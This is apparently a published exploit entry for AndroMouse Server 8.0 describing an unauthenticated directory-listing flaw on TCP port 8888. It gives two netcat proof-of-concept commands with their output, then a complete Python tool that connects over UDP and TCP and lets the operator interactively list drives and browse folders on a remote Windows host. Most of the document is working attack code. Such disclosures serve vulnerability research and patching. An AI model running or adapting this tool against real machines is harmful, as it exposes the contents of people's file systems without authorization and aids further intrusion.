📄 AndroMouse Server 8.0 Unauthenticated Directory Enumeration

# Exploit Title: AndroMouse Server 8.0 – Unauthenticated Directory
    Enumeration
    # Date: 03/07/25
    # Exploit Author: Chokri Hammedi
    # Vendor Homepage: http://andromouse.com
    # Software Link: https://andromouse-server.en.lo4d.com/windows
    # Version: 8.0
    # Tested on: Windows 10
    
    r'''
    Description:
    
    AndroMouse Server 8.0 exposes an unauthenticated TCP command interface on
    port 8888. A remote attacker can send crafted commands such as
    file_browser_root and file_browser|<directory> to enumerate the contents of
    arbitrary directories on the host file system, without user interaction or
    authentication.
    
    POC 1:
    
    echo -e "file_browser_root\n" | nc 192.168.8.104 8888
    file_browser_root|C:\|F:\
    
    POC 2:
    echo -e "file_browser|C:\Users\public\\n" | nc 192.168.8.104 8888
    file_browser | C:\Users\public |  |
    |Documents|Downloads|Music|Pictures|Videos
    
    '''
    
    
    import socket
    import time
    
    try:
        import readline
    except ImportError:
        try:
            import pyreadline as readline
        except ImportError:
            readline = None
    
    TARGET_IP = "192.168.8.104"
    UDP_PORT = 8888
    TCP_PORT = 8888
    NEWLINE = b"\x0a"
    
    def establish_udp_connection():
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        try:
            sock.sendto(b"connection_detect_server" + NEWLINE, (TARGET_IP,
    UDP_PORT))
            time.sleep(1)
            sock.sendto(b"connection_detect_server" + NEWLINE, (TARGET_IP,
    UDP_PORT))
            time.sleep(1)
        finally:
            sock.close()
    
    def tcp_connect():
        while True:
            try:
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                sock.settimeout(10)
                sock.connect((TARGET_IP, TCP_PORT))
                return sock
            except Exception as e:
                print(f"[!] TCP connection failed: {e}. Retrying in 3s...")
                time.sleep(3)
                establish_udp_connection()
    
    def send_command(sock, command):
        try:
            sock.sendall(command.encode() + NEWLINE)
            time.sleep(0.5)
            response = sock.recv(4096).decode(errors="ignore").strip()
            return response
        except (socket.timeout, ConnectionError, OSError) as e:
            raise e
    
    def list_drives(sock):
        response = send_command(sock, "file_browser_root")
    
    
        if "file_browser_root|" in response:
            drives = [d.strip() for d in response.split("|")[1:] if d.strip()]
            print("\nAvailable Drives:")
            for drive in drives:
                print(f" {drive}\\")
            return drives
        print("No drives found")
        return []
    
    def list_directory(sock, path):
        response = send_command(sock, f"file_browser|{path}")
    
        if "file_browser |" in response:
            parts = [p.strip() for p in response.split("|")]
            if len(parts) >= 4:
                current_path = parts[1]
                all_items = [item for item in parts[3:] if item.strip()]
    
                folders = []
                files = []
                for item in all_items:
                    if '.' in item.split('\\')[-1]:
                        files.append(item)
                    else:
                        folders.append(item)
    
                print(f"\nContents of {current_path}\n")
                for folder in folders:
                    print(f"<dir>  {folder}")
                for file in files:
                    print(f"<file> {file}")
                print(f"\nTotal: {len(files)} files, {len(folders)}
    directories")
                return folders + files
    
        print("Directory not found or access denied")
        return []
    
    def interactive_shell():
        establish_udp_connection()
        sock = tcp_connect()
    
        if readline:
            readline.parse_and_bind("tab: complete")
            readline.parse_and_bind("set editing-mode emacs")
            readline.parse_and_bind("set history-preserve-point on")
    
        while True:
            try:
                print("\n1. List drives\n2. Browse directory\n3. Exit")
                choice = input("> ").strip()
    
                if readline and choice:
                    readline.add_history(choice)
    
                if choice == "1":
                    list_drives(sock)
                elif choice == "2":
                    path = input("Enter path (e.g. C:\\): ").strip()
                    if path:
                        if not path.endswith("\\"):
                            path += "\\"
                        list_directory(sock, path)
                elif choice == "3":
                    break
            except (socket.timeout, ConnectionError, OSError) as e:
                print(f"[!] Connection lost: {e}. Reconnecting...")
                try:
                    sock.close()
                except:
                    pass
                establish_udp_connection()
                sock = tcp_connect()
            except Exception as e:
                print(f"[!] Unexpected error: {e}")
                try:
                    sock.close()
                except:
                    pass
                break
    
        try:
            sock.close()
        except:
            pass
        print("[✓] Session ended.")
    
    if __name__ == "__main__":
        interactive_shell()